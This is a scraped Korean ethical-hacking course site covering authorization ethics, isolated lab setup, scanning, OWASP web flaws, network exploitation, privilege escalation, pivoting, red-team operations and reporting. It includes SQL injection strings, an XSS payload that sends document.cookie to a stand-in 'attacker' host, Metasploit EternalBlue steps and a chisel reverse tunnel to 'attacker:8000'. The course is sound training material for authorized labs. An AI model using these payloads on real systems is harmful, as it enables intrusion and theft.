White Hacker Academy

윤리와 법률

Sun, 23 Aug 2026 00:00:00 +0000

화이트해커(윤리적 해커)와 공격자를 가르는 것은 **기술이 아니라 허가(authorization)**다. 같은 도구, 같은 명령어라도 서면 허가 유무에 따라 하나는 직업이고 다른 하나는 범죄다.

절대 원칙

명시적 서면 허가 없이는 아무것도 건드리지 않는다. 구두 허가, “괜찮을 거야"는 허가가 아니다.
범위(scope)를 벗어나지 않는다. 허가받은 IP·도메인·계정 밖은 존재하지 않는 것처럼 취급한다.
피해를 최소화한다. 서비스 중단, 데이터 파괴, 실 사용자 영향이 예상되면 멈추고 보고한다.
발견한 취약점은 책임 있게 공개한다. 악용·판매·과시하지 않는다.
알게 된 데이터는 비밀로 유지한다. 고객 데이터는 테스트가 끝나면 안전하게 파기한다.

참여 규칙(Rules of Engagement)

모든 정식 침투 테스트는 시작 전에 RoE 문서로 범위를 못박는다.

실습 랩 구축

Sun, 23 Aug 2026 00:00:00 +0000

허가 없는 시스템 대신, 격리된 가상 랩에서 무제한으로 연습한다. 핵심은 공격 머신과 취약 대상을 인터넷·집 네트워크와 분리된 가상 네트워크에 두는 것이다.

최소 구성

flowchart LR
 subgraph Host[호스트 PC - VirtualBox/VMware/UTM]
 subgraph Net[Host-Only / Internal Network]
 K[Kali Linux<br/>공격 머신]
 V1[취약 대상<br/>Metasploitable2]
 V2[취약 대상<br/>DVWA / Juice Shop]
 W[Windows AD Lab<br/>선택]
 end
 end
 K -.공격.-> V1
 K -.공격.-> V2
 K -.공격.-> W

구성요소	추천	용도
하이퍼바이저	VirtualBox(무료), VMware, UTM(Apple Silicon)	가상머신 실행
공격 머신	Kali Linux 또는 Parrot OS	도구 모음 사전 탑재
취약 리눅스	Metasploitable2, VulnHub 이미지	네트워크·서비스 공격
취약 웹앱	DVWA, OWASP Juice Shop, WebGoat	웹 취약점
AD 실습	Windows Server + 클라이언트, GOAD	도메인·측면이동

격리가 왜 중요한가

NAT/Bridged 금지, Host-Only 또는 Internal 사용 — 취약 VM이 실수로 인터넷에 노출되면 실제 봇넷에 감염될 수 있고, 스캔이 집 밖으로 새어나가면 법적 문제가 된다.
스냅샷을 적극 활용한다. 익스플로잇 전 스냅샷 → 실패하면 롤백.
취약 VM에는 개인 데이터·자격증명을 절대 두지 않는다.

클라우드 대안

로컬 리소스가 부족하면 TryHackMe / Hack The Box의 브라우저 기반 랩을 쓴다. 이미 격리·인가된 환경이므로 별도 설정 없이 바로 연습할 수 있다.

학습 로드맵

Sun, 23 Aug 2026 00:00:00 +0000

화이트해커 역량은 한 번에 완성되지 않는다. 기반기술 → 공격기술 → 실전운영 순으로 쌓는다. 각 단계는 앞 단계를 전제로 한다.

성장 단계

flowchart TD
 F[0. 기반<br/>리눅스·네트워크·프로그래밍] --> R[1. 정찰<br/>OSINT·스캐닝]
 R --> W[2. 취약점 공격<br/>웹·네트워크·시스템]
 W --> P[3. 포스트 익스플로잇<br/>권한상승·측면이동]
 P --> O[4. 레드팀 운영<br/>ATT&CK·C2·보고]
 O --> S[5. 전문화<br/>클라우드·모바일·OT/ICS]

단계별 체크리스트

단계	반드시 갖출 것	검증 방법
0. 기반	Linux CLI, TCP/IP, HTTP, Python/Bash 기초	스크립트로 간단한 스캐너 작성
1. 정찰	nmap, OSINT, 서비스 열거	THM 초급 방 클리어
2. 공격	OWASP Top 10, Metasploit, 수동 익스플로잇	Juice Shop 전 과제, HTB Easy 박스
3. 포스트	권한상승(Linux/Windows), 피벗팅	HTB Medium 박스
4. 운영	ATT&CK 매핑, C2 운용, 리포팅	랩에서 풀 체인 공격 후 보고서 작성
5. 전문화	관심 분야 심화(클라우드/모바일/AD)	해당 분야 자격증·CTF

조언

손으로 먼저, 자동화는 나중에. Metasploit 원클릭보다 수동 익스플로잇을 먼저 이해한다.
막히면 write-up을 읽되, 답을 베끼지 말고 원리를 이해한 뒤 다시 스스로 푼다.
문서화 습관. 처음부터 발견 사항을 기록하면 4단계 보고서 작성이 쉬워진다.
자격증·진로는 도구 & 커리어 참고.

🧪 실습해 보기: 무엇을 찾나

자산 유형 출처·도구

도메인·서브도메인 crt.sh, Subfinder, Amass, DNSdumpster

IP·인프라 Shodan, Censys, ASN 조회

이메일·직원 Hunter.io, LinkedIn, theHarvester

코드·비밀 유출 GitHub 검색, gitleaks, TruffleHog

기술 스택 Wappalyzer, BuiltWith, HTTP 헤더

유출 자격증명 Have I Been Pwned(방어 목적 확인)

워크플로우
flowchart LR
 O[조직명·도메인] --> D[도메인/서브도메인 열거]
 O --> P[직원·이메일 수집]
 D --> I[IP·서비스 매핑<br/>Shodan/Censys]
 P --> C[자격증명 패턴 추정]
 I --> S[공격 표면 목록]
 C --> S
실습 예시
서브도메인 열거(본인 소유 도메인 또는 인가 대상만):

자산 유형	출처·도구
도메인·서브도메인	`crt.sh`, Subfinder, Amass, DNSdumpster
IP·인프라	Shodan, Censys, ASN 조회
이메일·직원	Hunter.io, LinkedIn, theHarvester
코드·비밀 유출	GitHub 검색, gitleaks, TruffleHog
기술 스택	Wappalyzer, BuiltWith, HTTP 헤더
유출 자격증명	Have I Been Pwned(방어 목적 확인)

스캐닝과 열거

Sun, 23 Aug 2026 00:00:00 +0000

능동 정찰은 대상에 직접 패킷을 보내 살아있는 호스트, 열린 포트, 서비스 버전을 식별한다. 트래픽이 남으므로 반드시 인가된 범위에서만 수행한다.

nmap 핵심

 # 호스트 디스커버리(핑 스윕)
nmap -sn 10.10.10.0/24

# 기본 SYN 스캔 + 서비스/버전 + 기본 스크립트
sudo nmap -sS -sV -sC -O 10.10.10.5

# 전체 포트(느림), 그다음 발견된 포트만 정밀 스캔
sudo nmap -p- --min-rate 2000 10.10.10.5 -oN allports.txt
sudo nmap -sV -sC -p 22,80,443,3306 10.10.10.5

옵션	의미
`-sS`	SYN(스텔스) 스캔
`-sV`	서비스/버전 탐지
`-sC`	기본 NSE 스크립트
`-p-`	전체 65535 포트
`-O`	OS 핑거프린팅
`-oA base`	모든 포맷으로 결과 저장

열거(Enumeration)

포트를 찾았으면 서비스별로 깊이 판다. 발견된 서비스 → 대응 도구:

OWASP Top 10

Sun, 23 Aug 2026 00:00:00 +0000

OWASP Top 10은 웹 애플리케이션의 가장 심각한 보안 위험을 정리한 사실상의 표준이다(2021년판 기준). 화이트해커의 웹 테스트 체크리스트로 쓴다.

Top 10 (2021)

#	범주	핵심
A01	접근 통제 취약(Broken Access Control)	권한 밖 리소스 접근(IDOR 등)
A02	암호화 실패(Cryptographic Failures)	민감정보 평문·약한 암호화
A03	인젝션(Injection)	SQLi, 명령어 주입, LDAP 등
A04	안전하지 않은 설계(Insecure Design)	설계 단계의 결함
A05	보안 설정 오류(Security Misconfiguration)	기본 계정, 노출된 관리 페이지
A06	취약·구식 컴포넌트	오래된 라이브러리·CVE
A07	인증·식별 실패	약한 인증, 세션 관리
A08	소프트웨어·데이터 무결성 실패	검증 없는 역직렬화·업데이트
A09	로깅·모니터링 실패	탐지 불가능한 침해
A10	SSRF	서버가 공격자 지정 URL로 요청

웹 테스트 흐름

flowchart LR
 M[매핑<br/>기능·엔드포인트 파악] --> P[프록시 가로채기<br/>Burp Suite]
 P --> T[입력값별 테스트<br/>인젝션·XSS·권한]
 T --> V[검증·영향 확인]
 V --> R[리포팅]

필수 도구

Burp Suite — HTTP 프록시. 요청 가로채기·변조·리피터·인트루더. 웹 해킹의 중심.
OWASP ZAP — 무료 대안.
브라우저 개발자도구 — 요청·쿠키·스토리지 확인.

다음 페이지들에서 A03(인젝션), XSS/CSRF, A07(인증/세션)을 실습한다.

인젝션과 SQL 인젝션

Sun, 23 Aug 2026 00:00:00 +0000

인젝션은 사용자 입력이 검증 없이 인터프리터(SQL, 셸, LDAP 등)로 전달될 때 발생한다. 그중 **SQL 인젝션(SQLi)**이 가장 고전적이고 파괴적이다.

원리

애플리케이션이 입력을 쿼리 문자열에 그대로 이어붙이면, 공격자는 데이터를 넘어 쿼리 구조 자체를 바꿀 수 있다.

 -- 취약한 코드: "SELECT * FROM users WHERE name='" + input + "'"
-- 입력: ' OR '1'='1
SELECT * FROM users WHERE name='' OR '1'='1' -- 항상 참 → 인증 우회

유형

유형	특징
In-band (Union)	결과가 화면에 직접 보임. `UNION SELECT`로 데이터 추출
Blind (Boolean)	참/거짓에 따라 응답 차이로 한 비트씩 추론
Blind (Time)	`SLEEP()` 지연 시간으로 참/거짓 판별
Out-of-band	DNS/HTTP 콜백으로 데이터 유출

탐지와 추출 흐름

flowchart TD
 A[입력에 ' 삽입] --> B{에러/동작 변화?}
 B -->|아니오| Z[취약하지 않을 가능성]
 B -->|예| C[컬럼 수 파악<br/>ORDER BY / UNION]
 C --> D[DB 정보 추출<br/>버전·테이블·컬럼]
 D --> E[민감 데이터 열람]

수동 예시 (DVWA)

 -- 컬럼 수 확인
1' ORDER BY 2-- -
-- 버전·DB명 추출
1' UNION SELECT version(), database()-- -
-- 사용자·해시 추출
1' UNION SELECT user, password FROM users-- -

자동화는 sqlmap을 쓴다(인가된 대상만):

XSS와 CSRF

Sun, 23 Aug 2026 00:00:00 +0000

XSS와 CSRF는 모두 피해자의 브라우저를 이용한다. 서버가 아니라 사용자를 노린다.

XSS (Cross-Site Scripting)

공격자의 스크립트가 다른 사용자의 브라우저에서 실행된다. 세션 탈취, 키로깅, 피싱 폼 삽입이 가능하다.

유형	설명
Reflected	URL 파라미터가 즉시 응답에 반사됨. 링크 클릭 유도
Stored	DB에 저장되어 방문자마다 실행(게시판, 댓글) — 가장 위험
DOM-based	클라이언트 JS가 입력을 안전하지 않게 DOM에 반영

 <!-- 저장형 XSS 페이로드 예시 (인가된 실습 앱에서만) -->
<script>fetch('https://attacker/c?'+document.cookie)</script>
<img src=x onerror="alert(document.domain)">

방어: 출력 인코딩(컨텍스트별), 입력 검증, CSP(Content-Security-Policy), 쿠키에 HttpOnly·Secure 플래그.

인증과 세션 관리

Sun, 23 Aug 2026 00:00:00 +0000

인증(누구인가)과 세션(로그인 상태 유지), 인가(무엇을 할 수 있나)의 결함은 전체 계정 탈취로 이어진다. OWASP A01·A07에 해당한다.

흔한 결함

결함	공격
약한 비밀번호 정책	사전·무차별 대입(hydra, medusa)
계정 열거	로그인 실패 메시지 차이로 유효 ID 판별
자격증명 스터핑	유출된 ID/PW 재사용
취약한 세션 토큰	예측 가능·미만료 세션
MFA 부재	비밀번호만으로 침입

IDOR / 접근통제 우회

**IDOR(Insecure Direct Object Reference)**는 A01의 대표 사례다. 요청의 식별자만 바꿔 남의 리소스에 접근한다.

네트워크 서비스 공격

Sun, 23 Aug 2026 00:00:00 +0000

스캐닝으로 찾은 서비스에서 취약점을 확인하고 익스플로잇해 최초 발판(foothold)을 확보한다. 모든 실습은 Metasploitable2 등 인가된 취약 VM에서 한다.

발판 확보 흐름

flowchart LR
 E[서비스·버전 확인] --> S[알려진 CVE 검색<br/>searchsploit]
 S --> M{공개 익스플로잇?}
 M -->|예| X[익스플로잇 실행]
 M -->|아니오| C[기본 자격증명·설정오류]
 X --> F[셸 획득]
 C --> F

취약점 검색

 # 로컬 Exploit-DB 검색
searchsploit vsftpd 2.3.4
searchsploit --cve 2017-0144 # EternalBlue

# 서비스 버전으로 매칭
nmap --script vuln 10.10.10.5

Metasploit 기본

 msfconsole -q
search eternalblue
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 10.10.10.5
set LHOST 10.10.10.2
run

Metasploit은 강력하지만 원리를 먼저 이해한다. 수동 익스플로잇을 병행해 페이로드·리스너·셸의 동작을 몸에 익힌다.

스니핑과 무선

Sun, 23 Aug 2026 00:00:00 +0000

같은 네트워크 세그먼트에서는 트래픽을 관찰·조작할 수 있다. 무선은 물리 매체가 공유되므로 특히 취약하다. 반드시 본인 소유·인가된 네트워크에서만 실습한다.

패킷 스니핑

Wireshark — 패킷 캡처·분석. 평문 프로토콜(HTTP, FTP, Telnet)에서 자격증명 관찰.
tcpdump — CLI 캡처.

 sudo tcpdump -i eth0 -w capture.pcap port 80

중간자 공격(MITM)

sequenceDiagram
 participant V as 피해자
 participant A as 공격자(MITM)
 participant G as 게이트웨이
 A->>V: ARP 스푸핑("내가 게이트웨이")
 A->>G: ARP 스푸핑("내가 피해자")
 V->>A: 트래픽 전송
 A->>G: 중계(관찰·변조 가능)

ARP 스푸핑으로 트래픽을 자신을 거치게 만든다. 방어: 동적 ARP 검사(DAI), HTTPS/HSTS(평문 노출 방지), 포트 보안.

권한 상승

Sun, 23 Aug 2026 00:00:00 +0000

권한 상승(privilege escalation)은 제한된 계정에서 관리자 권한을 획득하는 과정이다. 핵심은 열거다 — 시스템을 샅샅이 조사해 잘못된 설정을 찾는다.

공통 원리

flowchart TD
 A[낮은 권한 셸] --> B[자동·수동 열거]
 B --> C{취약 벡터?}
 C --> D[설정 오류<br/>SUID·권한·크론]
 C --> E[취약 커널·서비스]
 C --> F[평문 자격증명·재사용]
 D --> G[root/SYSTEM]
 E --> G
 F --> G

Linux 권한상승

벡터	확인
sudo 오설정	`sudo -l` → GTFOBins
SUID 바이너리	`find / -perm -4000 2>/dev/null`
쓰기 가능 크론·경로	`/etc/crontab`, PATH 하이재킹
취약 커널	`uname -a` → 알려진 exploit
자격증명 노출	설정파일·히스토리·`.env`

자동 열거: linpeas.sh, LinEnum.

지속성과 측면 이동

Sun, 23 Aug 2026 00:00:00 +0000

권한을 얻은 뒤 레드팀은 접근을 유지(persistence)하고, 목표를 향해 다른 호스트로 이동(lateral movement)한다. 이는 실제 공격자의 행동을 모사해 탐지·대응 역량을 평가하기 위함이며, 인가된 범위에서만 수행한다.

측면 이동 개념

flowchart LR
 A[침해된 호스트 1] -->|수집한 자격증명| B[피벗]
 B --> C[호스트 2]
 C --> D[도메인 컨트롤러/목표]
 A -. 크리덴셜 덤프 .-> B

기법	설명
Pass-the-Hash	NTLM 해시로 인증(비밀번호 불필요)
Pass-the-Ticket	Kerberos 티켓 재사용
크리덴셜 덤프	mimikatz, LSASS 메모리
원격 실행	psexec, WinRM, WMI, SSH
피벗팅/터널링	chisel, ssh -L, proxychains

피벗팅 예시

 # 침해 호스트를 경유해 내부망 접근 (chisel 리버스 터널)
# 공격자
./chisel server -p 8000 --reverse
# 침해 호스트
./chisel client attacker:8000 R:socks
# proxychains로 내부망 스캔
proxychains nmap -sT 10.10.20.0/24

Active Directory

기업 환경 대부분이 AD를 쓴다. 핵심 공격: Kerberoasting, AS-REP Roasting, ACL 남용, DCSync. 도구: BloodHound(공격 경로 시각화), Rubeus, Impacket.

적대적 에뮬레이션 & MITRE ATT&CK

Sun, 23 Aug 2026 00:00:00 +0000

레드팀 vs 펜테스트의 차이는 목표다. 펜테스트는 최대한 많은 취약점을 찾고, 레드팀은 특정 목표(예: 도메인 관리자·특정 데이터)를 향해 실제 공격자처럼 은밀하게 움직이며 방어팀(블루팀)의 탐지 역량을 시험한다.

MITRE ATT&CK

ATT&CK은 공격자의 전술(Tactic, “왜”)과 기법(Technique, “어떻게”)을 정리한 지식베이스다. 레드팀은 작전을 ATT&CK 기법에 매핑해 커버리지와 탐지를 측정한다.

flowchart LR
 R[정찰] --> I[초기 침투]
 I --> E[실행]
 E --> P[지속성]
 P --> PE[권한상승]
 PE --> D[방어 회피]
 D --> C[크리덴셜 접근]
 C --> L[측면이동]
 L --> Ex[유출/영향]

전술(예)	기법 예시
Initial Access	스피어피싱(T1566)
Execution	파워셸(T1059.001)
Persistence	스케줄 작업(T1053)
Defense Evasion	난독화·서명(T1027)
Credential Access	LSASS 덤프(T1003)
Lateral Movement	Pass-the-Hash(T1550.002)

에뮬레이션 계획

위협 선정 — 조직이 실제로 마주할 행위자(APT 그룹 등)를 정한다.
TTP 추출 — 해당 그룹의 알려진 기법을 ATT&CK에서 뽑는다.
시나리오 실행 — 초기 침투부터 목표까지 체인으로 수행한다.
탐지 측정 — 각 단계에서 블루팀이 탐지·차단했는지 기록한다.

Purple Team

레드팀 실행과 블루팀 탐지를 협업으로 진행하면(퍼플팀) 탐지 규칙을 즉시 개선할 수 있다. Atomic Red Team, Caldera로 개별 기법을 재현·검증한다.

C2와 소셜 엔지니어링

Sun, 23 Aug 2026 00:00:00 +0000

대부분의 실제 침해는 기술 취약점이 아니라 사람에서 시작한다. 레드팀은 소셜 엔지니어링으로 초기 발판을 얻고, **C2(Command & Control)**로 침해 자산을 운용한다.

소셜 엔지니어링

기법	설명
피싱/스피어피싱	표적화된 악성 이메일
프리텍스팅	신뢰할 만한 상황·정체 위장
베이팅	USB·미끼로 실행 유도
Vishing	전화로 정보·행동 유도

RoE 필수: 소셜 엔지니어링은 직원 대상 실험이므로 반드시 사전 승인·범위· 심리적 안전장치를 명시한다. 실제 개인 피해를 주지 않는다.

C2 개념

flowchart LR
 O[오퍼레이터] --> T[C2 서버]
 T <-.비콘.-> A[에이전트/임플란트<br/>침해된 호스트]
 T <-.비콘.-> B[에이전트 2]
 style T fill:#511

C2는 침해 호스트의 **에이전트(임플란트)**와 오퍼레이터를 잇는다. 에이전트는 주기적으로 서버에 접속(beacon)해 명령을 받고 결과를 반환한다.

보고서 작성

Sun, 23 Aug 2026 00:00:00 +0000

보고서 없는 침투 테스트는 무의미하다. 고객이 돈을 내는 것은 셸이 아니라 우선순위가 매겨진, 실행 가능한 방어 계획이다. 실력 있는 해커와 뛰어난 컨설턴트를 가르는 지점이 여기다.

구성

섹션	대상 독자	내용
Executive Summary	경영진	비즈니스 위험, 전반 평가(기술용어 최소)
범위·방법론	관리자	RoE, 테스트 기간·대상·기법
발견 사항	엔지니어	취약점별 상세
부록	엔지니어	로그·페이로드·ATT&CK 매핑

발견 사항 항목

각 취약점은 다음을 포함한다:

제목·심각도 — CVSS 점수와 위험 등급.
설명 — 무엇이 왜 취약한가.
영향(Impact) — 악용 시 비즈니스 관점 결과.
재현 절차(PoC) — 스크린샷·명령어로 단계별.
개선 방안(Remediation) — 구체적·실행 가능한 수정.

위험 등급

quadrantChart
 title 위험 우선순위
 x-axis 낮은 발생가능성 --> 높은 발생가능성
 y-axis 낮은 영향 --> 높은 영향
 quadrant-1 즉시 조치
 quadrant-2 계획 수립
 quadrant-3 수용/모니터
 quadrant-4 빠른 조치

좋은 보고서의 원칙

재현 가능해야 한다 — 개발자가 그대로 따라 확인할 수 있어야 한다.
비난이 아니라 해결에 초점. 조직을 돕는 문서다.
우선순위를 명확히 — 무엇을 먼저 고쳐야 하는지.
심각한 발견은 테스트 중이라도 즉시 구두 보고한다(RoE의 비상 연락).

🧪 실습해 보기: 웹 애플리케이션 해킹 영역과 짝을 이루는 실습이다. OWASP Juice Shop 또는 DVWA를 실습 랩에 띄우고 진행한다.

문제 1 — 로그인 우회 (SQLi) 🟢
목표: DVWA(Low) 또는 Juice Shop 로그인 폼에서 SQL 인젝션으로 관리자 계정에 비밀번호 없이 로그인한다.
💡 힌트
입력이 쿼리 문자열에 그대로 붙는다면, 주석(--)으로 뒷부분을 잘라낼 수 있다.

이메일 필드에 ' OR 1=1-- 형태를 시도해 본다.
참고: 정찰·네트워크·시스템 영역을 하나로 잇는 실습이다. Metasploitable2 또는 TryHackMe/HTB의 Easy 박스를 대상으로 진행한다.

문제 1 — 열린 문 찾기 🟢
목표: 대상의 전체 포트를 스캔하고, 열린 서비스와 버전을 표로 정리한다.
💡 힌트
빠른 전체 포트 스캔 후, 발견된 포트만 정밀 스캔하는 2단계 접근이 효율적이다.
참고: CTF 유형

유형 내용

Web 웹 취약점 익스플로잇

Pwn(바이너리) 메모리 손상·익스플로잇 개발

Reversing 바이너리 역공학

Crypto 암호 취약점

Forensics 디스크·메모리·패킷 분석

Boot2Root 머신 하나를 root까지

접근 전략
flowchart TD
 A[문제 이해<br/>제공된 자원 파악] --> B[전 방향 열거]
 B --> C{취약 지점?}
 C -->|웹| D[입력·엔드포인트 테스트]
 C -->|서비스| E[버전·설정 오류]
 C -->|파일| F[정적/동적 분석]
 D --> G[익스플로잇]
 E --> G
 F --> G
 G --> H[플래그 획득 + 기록]
자가 점검 문제
개념이 잡혔는지 스스로 확인한다.

유형	내용
Web	웹 취약점 익스플로잇
Pwn(바이너리)	메모리 손상·익스플로잇 개발
Reversing	바이너리 역공학
Crypto	암호 취약점
Forensics	디스크·메모리·패킷 분석
Boot2Root	머신 하나를 root까지

White Hacker Academy

윤리와 법률

절대 원칙 link

참여 규칙(Rules of Engagement) link

실습 랩 구축

최소 구성 link

격리가 왜 중요한가 link

클라우드 대안 link

학습 로드맵

성장 단계 link

단계별 체크리스트 link

조언 link

워크플로우 link

실습 예시 link

스캐닝과 열거

nmap 핵심 link

열거(Enumeration) link

OWASP Top 10

Top 10 (2021) link

웹 테스트 흐름 link

필수 도구 link

인젝션과 SQL 인젝션

원리 link

유형 link

탐지와 추출 흐름 link

수동 예시 (DVWA) link

XSS와 CSRF

XSS (Cross-Site Scripting) link

인증과 세션 관리

흔한 결함 link

IDOR / 접근통제 우회 link

네트워크 서비스 공격

발판 확보 흐름 link

취약점 검색 link

Metasploit 기본 link

스니핑과 무선

패킷 스니핑 link

중간자 공격(MITM) link

권한 상승

공통 원리 link

Linux 권한상승 link

지속성과 측면 이동

측면 이동 개념 link

피벗팅 예시 link

Active Directory link

적대적 에뮬레이션 & MITRE ATT&CK

MITRE ATT&CK link

에뮬레이션 계획 link

Purple Team link

C2와 소셜 엔지니어링

소셜 엔지니어링 link

C2 개념 link

보고서 작성

구성 link

발견 사항 항목 link

위험 등급 link

좋은 보고서의 원칙 link

문제 1 — 로그인 우회 (SQLi) 🟢 link

문제 1 — 열린 문 찾기 🟢 link

접근 전략 link

자가 점검 문제 link

절대 원칙

참여 규칙(Rules of Engagement)

최소 구성

격리가 왜 중요한가

클라우드 대안

성장 단계

단계별 체크리스트

조언

워크플로우

실습 예시

nmap 핵심

열거(Enumeration)

Top 10 (2021)

웹 테스트 흐름

필수 도구

원리

유형

탐지와 추출 흐름

수동 예시 (DVWA)

XSS (Cross-Site Scripting)

흔한 결함

IDOR / 접근통제 우회

발판 확보 흐름

취약점 검색

Metasploit 기본

패킷 스니핑

중간자 공격(MITM)

공통 원리

Linux 권한상승

측면 이동 개념

피벗팅 예시

Active Directory

MITRE ATT&CK

에뮬레이션 계획

Purple Team

소셜 엔지니어링

C2 개념

구성

발견 사항 항목

위험 등급

좋은 보고서의 원칙

문제 1 — 로그인 우회 (SQLi) 🟢

문제 1 — 열린 문 찾기 🟢

접근 전략

자가 점검 문제